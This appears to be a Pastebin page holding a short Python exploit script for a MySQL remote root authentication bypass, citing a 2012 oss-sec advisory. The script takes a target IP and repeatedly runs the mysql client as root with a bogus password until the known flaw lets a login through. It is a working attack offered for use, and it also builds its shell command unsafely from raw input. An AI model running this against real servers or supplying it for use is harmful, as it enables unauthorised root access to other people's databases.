Advertisement
Googleinurl

MySQL Remote Root Authentication Bypass

Nov 29th, 2013
1,311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.49 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. #
  4. # This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
  5. #
  6. # Title: MySQL Remote Root Authentication Bypass
  7. # Written by: Dave Kennedy (ReL1K)
  8. # http://www.secmaniac.com
  9. #
  10. # Original advisory here: seclists.org/oss-sec/2012/q2/493
  11. import subprocess
  12.  
  13. ipaddr = raw_input("Enter the IP address of the mysql server: ")
  14.  
  15. while 1:
  16.     subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement